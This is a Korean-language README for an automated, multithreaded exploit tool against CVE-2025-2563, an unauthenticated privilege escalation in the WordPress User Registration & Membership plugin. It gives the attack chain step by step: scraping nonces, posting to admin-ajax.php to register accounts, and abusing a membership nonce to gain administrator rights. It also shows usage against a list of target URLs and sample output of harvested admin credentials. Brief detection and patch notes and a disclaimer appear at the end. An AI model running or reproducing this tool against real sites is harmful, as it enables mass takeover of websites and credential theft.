
CVE-2025-2563을 대상으로 하는 멀티스레드 익스플로잇으로, WordPress User Registration & Membership 플러그인에서 인증되지 않은 권한 상승을 공격합니다. 익명 등록, nonce 남용 및 관리자 역할 탈취를 자동화합니다.
██╗ ██╗███████╗███████╗██████╗ ██████╗ ███████╗ ██████╗ ██║ ██║██╔════╝██╔════╝██╔══██╗ ██╔══██╗██╔════╝██╔════╝ ██║ ██║███████╗█████╗ ██████╔╝ ██████╔╝█████╗ ██║ ███╗ ██║ ██║╚════██║██╔══╝ ██╔══██╗ ██╔══██╗██╔══╝ ██║ ██║ ╚██████╔╝███████║███████╗██║ ██║ ██║ ██║███████╗╚██████╔╝ ╚═════╝ ╚══════╝╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═╝╚══════╝ ╚═════╝
CVE-2025-2563 — WordPress용 User Registration & Membership 플러그인을 통한 인증되지 않은 권한 상승. 전체 체인 익스플로잇: 익명 등록 → 멤버십 nonce 남용 → 관리자 역할 탈취.
| 필드 | 세부 사항 |
|---|---|
| CVE | CVE-2025-2563 |
| 플러그인 | User Registration & Membership |
| 영향받는 버전 | ≤ 4.1.1 |
| 유형 | 인증되지 않은 권한 상승 (Unauthenticated Privilege Escalation) |
| CVSS | 심각 (Critical) |
| 벡터 | 네트워크 / 인증 불필요 |
| WordPress | 해당 플러그인을 실행 중인 모든 버전 |
[1] 대상 크롤링
↓
[2] /membership-pricing/ 및 /membership-registration/ 가져오기
↓
[3] form_id, membership_id, security nonce, ur_frontend_form_nonce 추출
↓
[4] POST /wp-admin/admin-ajax.php
action=user_registration_user_form_submit
→ 임의의 사용자 계정 생성 (인증 없음)
↓
[5] ur_membership_frontend_localized_data를 통해 멤버십 JS nonce 남용
→ 새 계정에 관리자 수준 멤버십 플랜 할당
↓
[6] /wp-admin/users.php 및 /wp-admin/plugin-install.php에서 관리자 접근 확인
↓
[7] 자격 증명 저장 → NATA_admin.txt
form_id × membership_id × nonce 조합 시도wp-admin 접근 확인NATA_admin.txt에, 등록 정보는 reg.txt에 저장pip install requests rich
# 1. list.txt에 대상 추가 (한 줄에 하나의 URL)
# 2. 실행
python CVE-2025-2563.py
입력: list.txt
https://target1.com
https://target2.com
https://target3.com
출력: NATA_admin.txt
[2025-04-20 08:00:00] https://target.com/wp-login.php user:natxploit_abc pass:NATA_adminSA
| 파일 | 내용 |
|---|---|
NATA_admin.txt | 확인된 관리자 자격 증명 |
reg.txt | 모든 성공적인 등록 기록 |
다음 항목 모니터링:
/wp-admin/admin-ajax.php에 action=user_registration_user_form_submit과 함께 반복적인 POST 요청/membership-registration/에 대한 요청 직후 AJAX 멤버십 할당패치: User Registration & Membership 플러그인을 >= 4.1.2 버전으로 업데이트
이 도구는 공인된 침투 테스트 및 보안 연구 목적으로만 배포됩니다. 저자는 오용에 대해 책임을 지지 않습니다. 테스트 전 항상 명시적인 서면 허가를 받으십시오.
Natan Utama — github.com/dokter69 | 텔레그램: @ayasyanaro